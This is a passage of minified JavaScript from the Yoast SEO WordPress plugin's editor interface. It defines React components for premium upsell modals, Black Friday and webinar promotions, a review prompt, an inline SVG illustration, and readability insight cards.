`,"yoast yoast-gutenberg-modal"),ls=e=>{const{title:t,className:s,showYoastIcon:r,additionalClassName:n,...a}=e,o=r?(0,c.createElement)("span",{className:"yoast-icon"}):null;return(0,c.createElement)(p.Modal,{title:t,className:`${s} ${n}`,icon:o,...a},e.children)};ls.propTypes={title:y().string,className:y().string,showYoastIcon:y().bool,children:y().oneOfType([y().node,y().arrayOf(y().node)]),additionalClassName:y().string},ls.defaultProps={title:"Yoast SEO",className:is,showYoastIcon:!0,children:null,additionalClassName:""};const cs=ls,ds=()=>{const[e,,,t,s]=(0,h.useToggleState)(!1),{locationContext:r}=(0,gt.useRootContext)(),n=(0,h.useSvgAria)(),a=r.includes("sidebar"),o=r.includes("metabox"),i=wpseoAdminL10n[a?"shortlinks.upsell.sidebar.internal_linking_suggestions":"shortlinks.upsell.metabox.internal_linking_suggestions"];return(0,c.createElement)(c.Fragment,null,e&&(0,c.createElement)(cs,{title:(0,m.__)("Get internal linking suggestions","wordpress-seo"),onRequestClose:s,additionalClassName:"",id:"yoast-internal-linking-suggestions-upsell",className:`${is} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,shouldCloseOnClickOutside:!0},(0,c.createElement)(os,null,(0,c.createElement)(ns,{title:(0,m.__)("Rank higher by connecting your content","wordpress-seo"),description:(0,m.sprintf)(/* translators: %s expands to Yoast SEO Premium. */
(0,m.__)("%s automatically suggests to what content you can link with easy drag-and-drop functionality, which is good for your SEO!","wordpress-seo"),"Yoast SEO Premium"),benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:ae(),upsellButtonText:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:(0,Ut.addQueryArgs)(i,{context:r}),className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,m.__)("1 year free support and updates included!","wordpress-seo")}))),a&&(0,c.createElement)(zt,{id:"yoast-internal-linking-suggestions-sidebar-modal-open-button",title:(0,m.__)("Internal linking suggestions","wordpress-seo"),onClick:t},(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(Nt,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...n})))),o&&(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(Kt,{id:"yoast-internal-linking-suggestions-metabox-modal-open-button",onClick:t},(0,c.createElement)(Kt.Text,null,(0,m.__)("Internal linking suggestions","wordpress-seo")),(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(Nt,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...n}),(0,c.createElement)("span",null,"Premium")))))},ps=window.yoast.externals.components;function us(){return(0,qt.createHigherOrderComponent)((function(e){return(0,qt.pure)((function(t){const s=(0,u.useContext)(gt.LocationContext);return(0,u.createElement)(e,{...t,location:s})}))}),"withLocation")}const ms=(0,qt.compose)([(0,i.withSelect)((e=>{const{isCornerstoneContent:t}=e("yoast-seo/editor");return{isCornerstone:t(),learnMoreUrl:wpseoAdminL10n["shortlinks.cornerstone_content_info"]}})),(0,i.withDispatch)((e=>{const{toggleCornerstoneContent:t}=e("yoast-seo/editor");return{onChange:t}})),us()])(ps.CollapsibleCornerstone),hs=(0,qt.compose)([(0,i.withSelect)(((e,t)=>{const{isAlertDismissed:s}=e(t.store||"yoast-seo/editor");return{isAlertDismissed:s(t.alertKey)}})),(0,i.withDispatch)(((e,t)=>{const{dismissAlert:s}=e(t.store||"yoast-seo/editor");return{onDismissed:()=>s(t.alertKey)}}))]),gs=({children:e,id:t,hasIcon:s=!0,title:r,image:n=null,isAlertDismissed:a,onDismissed:o})=>a?null:(0,c.createElement)("div",{id:t,className:"notice-yoast yoast is-dismissible yoast-webinar-dashboard yoast-general-page-notices"},(0,c.createElement)("div",{className:"notice-yoast__container"},(0,c.createElement)("div",null,(0,c.createElement)("div",{className:"notice-yoast__header"},s&&(0,c.createElement)("span",{className:"yoast-icon"}),(0,c.createElement)("h2",{className:"notice-yoast__header-heading yoast-notice-migrated-header"},r)),(0,c.createElement)("div",{className:"notice-yoast-content"},(0,c.createElement)("p",null,e))),n&&(0,c.createElement)(n,{height:"60"})),(0,c.createElement)("button",{type:"button",className:"notice-dismiss",onClick:o},(0,c.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,m.__)("Dismiss this notice.","wordpress-seo"))));gs.propTypes={children:y().node.isRequired,id:y().string.isRequired,hasIcon:y().bool,title:y().any.isRequired,image:y().elementType,isAlertDismissed:y().bool.isRequired,onDismissed:y().func.isRequired};const ys=hs(gs),fs=({store:e="yoast-seo/editor",image:t=null,title:s,promoId:r,alertKey:n,children:a,...o})=>(0,i.select)(e).isPromotionActive(r)&&(0,c.createElement)(ys,{alertKey:n,store:e,id:n,title:s,image:t,...o},a);fs.propTypes={store:y().string,image:y().elementType,title:y().any.isRequired,promoId:y().string.isRequired,alertKey:y().string.isRequired,children:y().node};const ws=({store:e="yoast-seo/editor",location:t="sidebar",...s})=>{const r=(0,i.useSelect)((t=>t(e).getIsPremium()),[e]),n=(0,i.useSelect)((t=>t(e).selectLinkParams()),[e]),a="sidebar"===t?(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium */
(0,m.__)("Now with 30%% OFF: %1$s","wordpress-seo"),"Yoast SEO Premium"):(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium, %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,m.__)("Now with 30%% OFF: %1$s %2$sBuy now!%3$s","wordpress-seo"),"Yoast SEO Premium","<a>","</a>"),{a:(0,c.createElement)("a",{href:(0,Ut.addQueryArgs)("https://yoa.st/black-friday-sale",n),target:"_blank",rel:"noreferrer"})});return r?null:(0,c.createElement)(fs,{id:`black-friday-2024-promotion-${t}`,promoId:"black-friday-2024-promotion",alertKey:"black-friday-2024-promotion",store:e,title:a,...s},(0,c.createElement)("span",{className:"yoast-bf-sale-badge"},(0,m.__)("BLACK FRIDAY SALE","wordpress-seo")," "),"sidebar"===t&&(0,c.createElement)("a",{className:"yst-block yst--mb-[1em]",href:(0,Ut.addQueryArgs)("https://yoa.st/black-friday-sale",n),target:"_blank",rel:"noreferrer"},(0,m.__)("Buy now!","wordpress-seo")))};ws.propTypes={store:y().string,location:y().oneOf(["sidebar","metabox"])};const bs="trustpilot-review-notification",Es="yoast-seo/editor";const _s=()=>{const e=(0,i.useSelect)((e=>e(Es).getIsPremium()),[]),t=(0,i.useSelect)((e=>e(Es).isAlertDismissed(bs)),[]),{overallScore:s}=(0,i.useSelect)((e=>e(Es).getResultsForFocusKeyword()),[]),{dismissAlert:r}=(0,i.useDispatch)(Es),n=(0,u.useCallback)((()=>r(bs)),[r]),[a,o]=(0,u.useState)(!1);return(0,u.useEffect)((()=>{var e,t;"good"===(null===(t=s,(0,T.isNil)(t)||(t/=10),e=function(e){switch(e){case"feedback":return{className:"na",screenReaderText:(0,m.__)("Not available","wordpress-seo"),screenReaderReadabilityText:(0,m.__)("Not available","wordpress-seo"),screenReaderInclusiveLanguageText:(0,m.__)("Not available","wordpress-seo")};case"bad":return{className:"bad",screenReaderText:(0,m.__)("Needs improvement","wordpress-seo"),screenReaderReadabilityText:(0,m.__)("Needs improvement","wordpress-seo"),screenReaderInclusiveLanguageText:(0,m.__)("Needs improvement","wordpress-seo")};case"ok":return{className:"ok",screenReaderText:(0,m.__)("OK SEO score","wordpress-seo"),screenReaderReadabilityText:(0,m.__)("OK","wordpress-seo"),screenReaderInclusiveLanguageText:(0,m.__)("Potentially non-inclusive","wordpress-seo")};case"good":return{className:"good",screenReaderText:(0,m.__)("Good SEO score","wordpress-seo"),screenReaderReadabilityText:(0,m.__)("Good","wordpress-seo"),screenReaderInclusiveLanguageText:(0,m.__)("Good","wordpress-seo")};default:return{className:"loading",screenReaderText:"",screenReaderReadabilityText:"",screenReaderInclusiveLanguageText:""}}}(we.interpreters.scoreToRating(t)))||void 0===e?void 0:e.className)&&o(!0)}),[s]),{shouldShow:!e&&!t&&a,dismiss:n}},vs=(0,Ht.makeOutboundLink)(),ks=()=>{const{shouldShow:e,dismiss:t}=_s(),{locationContext:s}=(0,gt.useRootContext)(),r=(0,i.useSelect)((e=>e(Es).selectLink("https://yoa.st/trustpilot-review",{context:s})),[s]);return(0,c.createElement)(gs,{alertKey:bs,store:Es,id:bs,title:(0,m.__)("Show Yoast SEO some love!","wordpress-seo"),hasIcon:!1,isAlertDismissed:!e,onDismissed:t},(0,m.__)("Happy with the plugin?","wordpress-seo")," ",(0,c.createElement)(vs,{href:r,rel:"noopener noreferrer"},(0,m.__)("Leave a quick review","wordpress-seo")),".")};var xs,Ss,Rs,Ts,Cs,Is,Ls,Ps,As,Os,Fs,Ds,Ms,qs,Ns,Us,$s,Bs,Ws,Ks,Ys,js,zs,Hs,Vs,Gs,Zs,Qs,Xs,Js,er,tr,sr,rr,nr,ar,or,ir,lr,cr,dr,pr,ur,mr,hr,gr,yr;function fr(){return fr=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},fr.apply(this,arguments)}const wr=e=>c.createElement("svg",fr({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 448 360"},e),xs||(xs=c.createElement("circle",{cx:226,cy:211,r:149,fill:"#f0ecf0"})),Ss||(Ss=c.createElement("path",{fill:"#fbd2a6",d:"M173.53 189.38s-35.47-5.3-41.78-11c-9.39-24.93-29.61-48-35.47-66.21-.71-2.24 3.72-11.39 3.53-15.41s-5.34-11.64-5.23-14-.09-15.27-.09-15.27l-4.75-.72s-5.13 6.07-3.56 9.87c-1.73-4.19 4.3 7.93.5 9.35 0 0-6-5.94-11.76-8.27s-19.57-3.65-19.57-3.65L43.19 73l-4.42.6L31 69.7l-2.85 5.12 7.53 5.29L40.86 92l17.19 10.2 10.2 10.56 9.86 3.56s26.49 79.67 45 92c17 11.33 37.23 15.92 37.23 15.92z"})),Rs||(Rs=c.createElement("path",{fill:"#a4286a",d:"M270.52 345.13c2.76-14.59 15.94-35.73 30.24-54.58 16.22-21.39 14-79.66-33.19-91.46-17.3-4.32-52.25-1-59.85-3.41C186.54 189 170 187 168 190.17c-5 10.51-7.73 27.81-5.51 36.26 1.18 4.73 3.54 5.91 20.49 13.4-5.12 15-16.35 26.3-22.86 37s7.88 27.2 7.1 33.51c-.48 3.8-4.26 21.13-7.18 34.25a149.47 149.47 0 0 0 110.3 8.66 25.66 25.66 0 0 1 .18-8.12z"})),Ts||(Ts=c.createElement("path",{fill:"#9a5815",d:"M206.76 66.43c-5 14.4-1.42 25.67-3.93 40.74-10 60.34-24.08 43.92-31.44 93.6 7.24-14.19 14.32-15.82 20.63-23.11-.83 3.09-10.25 13.75-8.05 34.81 9.85-8.51 6.35-8.75 11.86-8.54.36 3.25 3.53 3.22-3.59 10.53 2.52.69 17.42-14.32 20.16-12.66s0 5.72-6 7.76c2.15 2.2 30.47-3.87 43.81-14.71 4.93-4 10-13.16 13.38-18.2 7.17-10.62 12.38-24.77 17.71-36.6 8.94-19.87 15.09-39.34 16.11-61.31.53-10.44-3.41-18.44-4.41-28.86-2.57-27.8-67.63-37.26-86.24 16.55z"})),Cs||(Cs=c.createElement("path",{fill:"#efb17c",d:"M277.74 179.06c.62-.79 1.24-1.59 1.84-2.39-.85 2.59-1.52 3.73-1.84 2.39z"})),Is||(Is=c.createElement("path",{fill:"#fbd2a6",d:"M216.1 206.72c3.69-5.42 8.28-3.35 15.57-8.28 3.76-3.06 1.57-9.46 1.77-11.82 18.25 4.56 37.38-1.18 49.07-16 .62 5.16-2.77 22.27-.2 27 4.73 8.67 13.4 18.92 13.4 18.92-35.47-2.76-63.45 39-89.86 44.54 5.52-28.74-2.36-35.84 10.25-54.36z"})),Ls||(Ls=c.createElement("path",{fill:"#f6b488",d:"m235.21 167.9 53.21-25.23s-3.65 24-6.5 32.72c-64.05 62.66-46.47-7.33-46.71-7.49z"})),Ps||(Ps=c.createElement("path",{fill:"#fbd2a6",d:"M226.86 50.64C215 59.31 206.37 93.21 204 95.57c-19.46 19.47-3.59 41.39-3.94 51.24-.2 5.52-4.14 25.42 5.72 29.36 22.22 8.89 60-3.48 67.19-12.61 13.28-16.75 40.89-94.78 17.74-108.19-7.92-4.58-42.78-20.18-63.85-4.73z"})),As||(As=c.createElement("path",{fill:"#e5766c",d:"M243.69 143.66c-10.7-6.16-8.56-6.73-19.76-12.71-3.86-2.07-3.94.64-6.32 0-2.91-.79-1.39-2.74-5.37-3.48-6.52-1.21-3.67 3.63-3.15 6 1.32 6.15-8.17 17.3 3.26 21.42 12.65 4.55 21.38-9.41 31.34-11.23z"})),Os||(Os=c.createElement("path",{fill:"#fff",d:"M240.68 143.9c-11.49-5.53-11.65-8.17-24.64-11.69-8.6-2.32-5.53 1-5.69 4.42-.2 4.16-1.26 9.87 4.9 12.66 9 4.09 18.16-6.02 25.43-5.39zm.7-40.9c-.16 1.26-.06 4.9 5.46 8.25 11.43-4.73 16.36-2.56 17-3.33 1.48-1.76-2-8.87-7.88-9.85-5.58-.94-14.14 1.24-14.58 4.93z"})),Fs||(Fs=c.createElement("path",{fill:"#000001",d:"M263.53 108.19c-4.32-4.33-6.85-6.24-12.26-8.21-2.77-1-6.18.18-8.65 1.67a3.65 3.65 0 0 0-1.24 1.23h-.12a3.73 3.73 0 0 1 1-1.52 12.53 12.53 0 0 1 11.93-3c4.73 1 9.43 4.63 9.42 9.82z"})),Ds||(Ds=c.createElement("circle",{cx:254.13,cy:104.05,r:4.19,fill:"#000001"})),Ms||(Ms=c.createElement("path",{fill:"#fff",d:"M225.26 99.22c-.29 1-6.6 3.45-10.92 1.48-1.15-3.24-5-6.43-5.25-6.71-.5-2.86 5.55-8 10.06-6.3a10.21 10.21 0 0 1 6.11 11.53z"})),qs||(qs=c.createElement("path",{fill:"#000001",d:"M209.29 94.21c-.19-2.34 1.84-4.1 3.65-5.2 7-3.87 13.18 3 12.43 10h-.12c-.14-4-2.38-8.44-6.47-9.11a3.19 3.19 0 0 0-2.42.31c-1.37.85-2.38 2-3.89 2.56-1 .45-1.92.42-3 1.4h-.22z"})),Ns||(Ns=c.createElement("circle",{cx:219.55,cy:95.28,r:4,fill:"#000001"})),Us||(Us=c.createElement("path",{fill:"#efb17c",d:"M218.66 120.27a27.32 27.32 0 0 0 4.54 3.45c-2.29-.72-4.28-.69-6.32-2.27-2.53-2-3.39-5.16-.73-7.72 10.24-9.82 12.56-13.82 14.77-24.42-1 12.37-6 17.77-10.63 23.18-2.53 2.97-4.68 5.06-1.63 7.78z"})),$s||($s=c.createElement("path",{fill:"#a57c52",d:"M231.22 69.91c-.67-3.41-8.78-2.83-11.06-1.93-3.48 1.39-6.08 5.22-7.13 8.53 2.9-4.3 6.74-8.12 12.46-6 1.16.42 3.18 2.35 4.48 1.85s1.03-2.2 1.25-2.45zm32.16 8.56c-2.75-1.66-12.24-5.08-12.18.82 2.56.24 5-.19 7.64.95 11.22 4.76 12.77 17.61 12.85 17.86.2-.53.1 1.26.23.7-.02.2.95-12.12-8.54-20.33z"})),Bs||(Bs=c.createElement("path",{fill:"#fbd2a6",d:"M53.43 250.73c6.29 0-.6-.17 7.34 0 1.89.05-2.38-.7 0-.69 4.54-4.2 12.48-.74 20.6-2.45 4.55.35 3.93 1.35 5.59 4.19 4.89 8.38 4.78 14.21 14 19.56 16.42 8.38 66 12.92 88.49 18.86 5.52.83 42.64-20.15 61-23.75 6.51 10.74 11.46 28.68 8.39 34.93-6.54 13.3-57.07 25.4-75.91 25.15C156.47 326.18 94 294 92.2 293c-.94-.57.7-.7-7.68 0s-10.15.72-17.47-1.4c-3-.87-4.61-1.33-6.33-3.54-2 .22-3.39.2-4.78-1-3.15-2.74-4.84-6.61-2.73-10.06h-.12c-3.35-2.48-6.54-7.69-3.08-11.72 1-1.18 6.06-1.94 7.77-2.28-1.58-.29-6.37.19-7.49-.72-3.06-2.5-4.96-11.55 3.14-11.55z"})),Ws||(Ws=c.createElement("path",{fill:"#a4286a",d:"M303.22 237.52c-9.87-11.88-41.59 8.19-47.8 12.34s-14.89 17.95-14.89 17.95c6 9.43 8.36 31 5.65 46.34l30.51-3s18-15.62 22.59-28.7 6.3-42.54 6.3-42.54"})),Ks||(Ks=c.createElement("path",{fill:"#cb9833",d:"M278.63 31.67c-6.08 0-22.91 4.07-22.93 12.91 0 11 47.9 38.38 16.14 85.85 10.21-.79 10.79-8.12 14.92-14.93-3.66 77-49.38 93.58-40.51 142.25 7.68-25.81 20.3-11.62 38.13-33.84 3.45 4.88 9 18.28-9.46 33.78 50-31.26 57.31-56.6 51.92-95C319.93 113.53 348.7 42 278.63 31.67z"})),Ys||(Ys=c.createElement("path",{fill:"#fbd2a6",d:"M283.64 126.83c-2.42 9.67-8 15.76-1.48 16.46A21.26 21.26 0 0 0 302 132.6c5.17-8.52 3.93-16.44-2.46-18s-13.48 2.56-15.9 12.23z"})),js||(js=c.createElement("path",{fill:"#efb17c",d:"M38 73.45c1.92 2 4.25 9.21 6.32 10.91 2.25 1.85 5.71 2.12 8.1 4.45 3.66-2 6-8.72 10-9.31-2.59 1.31-4.42 3.5-6.93 4.88-1.42.8-3 1.31-4.38 2.25-2.16-1.46-4.27-1.77-6.26-3.38-2.52-2.02-5.31-8-6.85-9.8z"})),zs||(zs=c.createElement("path",{fill:"#efb17c",d:"M39 74.4c4.83 1.1 12.52 6.44 15.89 10-3.22-1.34-14.73-6.15-15.89-10zm.62-1.5c6.71-.79 18 1.54 23.29 5.9-3.85-.2-5.42-1.48-9-2.94-4.08-1.69-8.83-2.03-14.29-2.96zm46.43 14.58c-3.72-1.32-10.52-1.13-13.22 3.52 2-1.16 1.84-2.11 4.18-1.72-3.81-4.15 8.16-.74 11.6-.24m-2.78 13.15c.56-3.29-8-7.81-10.58-9.17-6.25-3.29-12.16 1.36-19.33-4.53 5.94 6.1 14.23 2.5 19.55 5.76 3.06 1.88 8.65 6.09 9.35 9.38-.23-.4 1.29-1.44 1.01-1.44z"})),Hs||(Hs=c.createElement("circle",{cx:38.13,cy:30.03,r:3.14,fill:"#b89ac8"})),Vs||(Vs=c.createElement("circle",{cx:60.26,cy:39.96,r:3.14,fill:"#e31e0c"})),Gs||(Gs=c.createElement("circle",{cx:50.29,cy:25.63,r:3.14,fill:"#3baa45"})),Zs||(Zs=c.createElement("circle",{cx:22.19,cy:19.21,r:3.14,fill:"#2ca9e1"})),Qs||(Qs=c.createElement("circle",{cx:22.19,cy:30.03,r:3.14,fill:"#e31e0c"})),Xs||(Xs=c.createElement("circle",{cx:26.86,cy:8.28,r:3.14,fill:"#3baa45"})),Js||(Js=c.createElement("circle",{cx:49.32,cy:39.99,r:3.14,fill:"#e31e0c"})),er||(er=c.createElement("circle",{cx:63.86,cy:59.52,r:3.14,fill:"#f8ad39"})),tr||(tr=c.createElement("circle",{cx:50.88,cy:50.72,r:3.14,fill:"#3baa45"})),sr||(sr=c.createElement("circle",{cx:63.47,cy:76.17,r:3.14,fill:"#e31e0c"})),rr||(rr=c.createElement("circle",{cx:38.34,cy:14.83,r:3.14,fill:"#2ca9e1"})),nr||(nr=c.createElement("circle",{cx:44.44,cy:5.92,r:3.14,fill:"#f8ad39"})),ar||(ar=c.createElement("circle",{cx:57.42,cy:10.24,r:3.14,fill:"#e31e0c"})),or||(or=c.createElement("circle",{cx:66.81,cy:12.4,r:3.14,fill:"#2ca9e1"})),ir||(ir=c.createElement("circle",{cx:77.95,cy:5.14,r:3.14,fill:"#b89ac8"})),lr||(lr=c.createElement("circle",{cx:77.95,cy:30.34,r:3.14,fill:"#e31e0c"})),cr||(cr=c.createElement("circle",{cx:80.97,cy:16.55,r:3.14,fill:"#f8ad39"})),dr||(dr=c.createElement("circle",{cx:62.96,cy:27.27,r:3.14,fill:"#3baa45"})),pr||(pr=c.createElement("circle",{cx:75.36,cy:48.67,r:3.14,fill:"#2ca9e1"})),ur||(ur=c.createElement("circle",{cx:76.11,cy:65.31,r:3.14,fill:"#3baa45"})),mr||(mr=c.createElement("path",{fill:"#71b026",d:"M78.58 178.43C54.36 167.26 32 198.93 5 198.93c19.56 20.49 63.53 1.52 69 15.5 1.48-14.01 4.11-30.9 4.58-36z"})),hr||(hr=c.createElement("path",{fill:"#074a67",d:"M67.75 251.08c0-4.65 10.13-72.65 10.13-72.65h2.8l-9.09 72.3z"})),gr||(gr=c.createElement("ellipse",{cx:255.38,cy:103.18,fill:"#fff",rx:1.84,ry:1.77})),yr||(yr=c.createElement("ellipse",{cx:221.24,cy:94.75,fill:"#fff",rx:1.84,ry:1.77}))),br=({store:e="yoast-seo/editor",image:t=wr,url:s,...r})=>(0,i.useSelect)((t=>t(e).getIsPremium()))?null:(0,c.createElement)(ys,{alertKey:"webinar-promo-notification",store:e,id:"webinar-promo-notification",title:(0,m.__)("Join our FREE webinar for SEO success","wordpress-seo"),image:t,url:s,...r},(0,m.__)("Feeling lost when it comes to optimizing your site for the search engines? Join our FREE webinar to gain the confidence that you need in order to start optimizing like a pro! You'll obtain the knowledge and tools to start effectively implementing SEO.","wordpress-seo")," ",(0,c.createElement)("a",{href:s,target:"_blank",rel:"noreferrer"},(0,m.__)("Sign up today!","wordpress-seo")));br.propTypes={store:y().string,image:y().elementType,url:y().string.isRequired};const Er=br,_r=(e="yoast-seo/editor")=>{const t=(0,i.select)(e).isPromotionActive("black-friday-2024-promotion"),s=(0,i.select)(e).isAlertDismissed("black-friday-2024-promotion");return t?s:((e="yoast-seo/editor")=>{const t=(0,i.select)(e).isPromotionActive("black-friday-2023-checklist"),s=(0,i.select)(e).isAlertDismissed("black-friday-2023-sidebar-checklist");return!t||s})(e)},vr=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{d:"M11 3a1 1 0 10-2 0v1a1 1 0 102 0V3zM15.657 5.757a1 1 0 00-1.414-1.414l-.707.707a1 1 0 001.414 1.414l.707-.707zM18 10a1 1 0 01-1 1h-1a1 1 0 110-2h1a1 1 0 011 1zM5.05 6.464A1 1 0 106.464 5.05l-.707-.707a1 1 0 00-1.414 1.414l.707.707zM5 10a1 1 0 01-1 1H3a1 1 0 110-2h1a1 1 0 011 1zM8 16v-1h4v1a2 2 0 11-4 0zM12 14c.015-.34.208-.646.477-.859a4 4 0 10-4.954 0c.27.213.462.519.476.859h4.002z"}))})),kr=(e=null)=>(0,c.useMemo)((()=>{const t={role:"img","aria-hidden":"true"};return null!==e&&(t.focusable=e?"true":"false"),t}),[e]),xr=({id:e,postTypeName:t,children:s,title:r,isOpen:n,close:a,open:o,shouldCloseOnClickOutside:i,showChangesWarning:l,SuffixHeroIcon:d})=>(0,c.createElement)(u.Fragment,null,n&&(0,c.createElement)(gt.LocationProvider,{value:"modal"},(0,c.createElement)(cs,{title:r,onRequestClose:a,additionalClassName:"yoast-collapsible-modal yoast-post-settings-modal",id:"id",shouldCloseOnClickOutside:i},(0,c.createElement)("div",{className:"yoast-content-container"},(0,c.createElement)("div",{className:"yoast-modal-content"},s)),(0,c.createElement)("div",{className:"yoast-notice-container"},(0,c.createElement)("hr",null),(0,c.createElement)("div",{className:"yoast-button-container"},l&&(0,c.createElement)("p",null,/* Translators: %s translates to the Post Label in singular form */
(0,m.sprintf)((0,m.__)("Make sure to save your %s for changes to take effect","wordpress-seo"),t)),(0,c.createElement)("button",{className:"yoast-button yoast-button--primary yoast-button--post-settings-modal",type:"button",onClick:a},/* Translators: %s translates to the Post Label in singular form */
(0,m.sprintf)((0,m.__)("Return to your %s","wordpress-seo"),t)))))),(0,c.createElement)(zt,{id:e+"-open-button",title:r,SuffixHeroIcon:d,suffixIcon:d?null:{size:"20px",icon:"pencil-square"},onClick:o}));xr.propTypes={id:y().string.isRequired,postTypeName:y().string.isRequired,children:y().oneOfType([y().node,y().arrayOf(y().node)]).isRequired,title:y().string.isRequired,isOpen:y().bool.isRequired,open:y().func.isRequired,close:y().func.isRequired,shouldCloseOnClickOutside:y().bool,showChangesWarning:y().bool,SuffixHeroIcon:y().object},xr.defaultProps={shouldCloseOnClickOutside:!0,showChangesWarning:!0};const Sr=xr,Rr=(0,qt.compose)([(0,i.withSelect)(((e,t)=>{const{getPostOrPageString:s,getIsModalOpen:r}=e("yoast-seo/editor");return{postTypeName:s(),isOpen:r(t.id)}})),(0,i.withDispatch)(((e,t)=>{const{openEditorModal:s,closeEditorModal:r}=e("yoast-seo/editor");return{open:()=>s(t.id),close:r}}))])(Sr),Tr=()=>{const e=(0,i.useSelect)((e=>e("yoast-seo/editor").getEstimatedReadingTime()),[]),t=(0,u.useMemo)((()=>(0,T.get)(window,"wpseoAdminL10n.shortlinks-insights-estimated_reading_time","")),[]);return(0,c.createElement)(Yt.InsightsCard,{amount:e,unit:(0,m._n)("minute","minutes",e,"wordpress-seo"),title:(0,m.__)("Reading time","wordpress-seo"),linkTo:t
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about reading time","wordpress-seo")})},Cr=(0,Ht.makeOutboundLink)();function Ir(e,t,s){const r=function(e){switch(e){case we.DIFFICULTY.FAIRLY_DIFFICULT:case we.DIFFICULTY.DIFFICULT:case we.DIFFICULTY.VERY_DIFFICULT:return(0,m.__)("Try to make shorter sentences, using less difficult words to improve readability","wordpress-seo");case we.DIFFICULTY.NO_DATA:return(0,m.__)("Continue writing to get insight into the readability of your text!","wordpress-seo");default:return(0,m.__)("Good job!","wordpress-seo")}}(t);return(0,c.createElement)("span",null,function(e,t){return-1===e?(0,m.sprintf)((0,m.__)("Your text should be slightly longer to calculate your Flesch reading ease score.","wordpress-seo")):(0,m.sprintf)(
/* Translators: %1$s expands to the numeric Flesch reading ease score,
  		%2$s expands to the easiness of reading (e.g. 'easy' or 'very difficult').
  	 */
(0,m.__)("The copy scores %1$s in the test, which is considered %2$s to read.","wordpress-seo"),e,function(e){switch(e){case we.DIFFICULTY.NO_DATA:return(0,m.__)("no data","wordpress-seo");case we.DIFFICULTY.VERY_EASY:return(0,m.__)("very easy","wordpress-seo");case we.DIFFICULTY.EASY:return(0,m.__)("easy","wordpress-seo");case we.DIFFICULTY.FAIRLY_EASY:return(0,m.__)("fairly easy","wordpress-seo");case we.DIFFICULTY.OKAY:return(0,m.__)("okay","wordpress-seo");case we.DIFFICULTY.FAIRLY_DIFFICULT:return(0,m.__)("fairly difficult","wordpress-seo");case we.DIFFICULTY.DIFFICULT:return(0,m.__)("difficult","wordpress-seo");case we.DIFFICULTY.VERY_DIFFICULT:return(0,m.__)("very difficult","wordpress-seo")}}(t))}(e,t)," ",t>=we.DIFFICULTY.FAIRLY_DIFFICULT?(0,c.createElement)(Cr,{href:s},r+"."):r)}const Lr=()=>{let e=(0,i.useSelect)((e=>e("yoast-seo/editor").getFleschReadingEaseScore()),[]);const t=(0,u.useMemo)((()=>(0,T.get)(window,"wpseoAdminL10n.shortlinks-insights-flesch_reading_ease","")),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").getFleschReadingEaseDifficulty()),[e]),r=(0,u.useMemo)((()=>{const t=(0,T.get)(window,"wpseoAdminL10n.shortlinks-insights-flesch_reading_ease_article","");return Ir(e,s,t)}),[e,s]);return-1===e&&(e="?"),(0,c.createElement)(Yt.InsightsCard,{amount:e,unit:(0,m.__)("out of 100","wordpress-seo"),title:(0,m.__)("Flesch reading ease","wordpress-seo"),linkTo:t
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about Flesch reading ease","wordpress-seo"),description:r})};let Pr,Ar,Or,Fr;const Dr=/<(\/)?(\w+)\s*(\/)?>/g;function Mr(e,t,s,r,n){return{element:e,tokenStart:t,tokenLength:s,prevOffset:r,leadingTextStart:n,children:[]}}function qr(){const e=Pr.length-Ar;0!==e&&Or.push(Pr.substring(Ar,Ar+e))}function Nr(e){const{element:t,tokenStart:s,tokenLength:r,prevOffset:n,children:a}=e,o=Fr[Fr.length-1],i=Pr.substring(o.prevOffset,s);i&&o.children.push(i),o.children.push((0,u.cloneElement)(t,null,...a)),o.prevOffset=n||s+r}function Ur(e){const t=function(){const e=Dr.exec(Pr);if(null===e)return["no-more-tokens"];const t=e.index,[s,r,n,a]=e,o=s.length;return a?["self-closed",n,t,o]:r?["closer",n,t,o]:["opener",n,t,o]}(),[s,r,n,a]=t,o=Fr.length,i=n>Ar?Ar:null;if(!e[r])return qr(),!1;switch(s){case"no-more-tokens":if(0!==o){const{leadingTextStart:e,tokenStart:t}=Fr.pop();Or.push(Pr.substring(e,e+t))}return qr(),!1;case"self-closed":return 0===o?(null!==i&&Or.push(Pr.substring(i,n)),Or.push(e[r]),Ar=n+a,!0):(Nr(Mr(e[r],n,a)),Ar=n+a,!0);case"opener":return Fr.push(Mr(e[r],n,a,n+a,i)),Ar=n+a,!0;case"closer":if(1===o)return function(e){const{element:t,leadingTextStart:s,prevOffset:r,tokenStart:n,children:a}=Fr.pop(),o=e?Pr.substring(r,e):Pr.substring(r);o&&a.push(o),null!==s&&Or.push(Pr.substring(s,n)),Or.push((0,u.cloneElement)(t,null,...a))}(n),Ar=n+a,!0;const t=Fr.pop(),s=Pr.substring(t.prevOffset,n);t.children.push(s),t.prevOffset=n+a;const 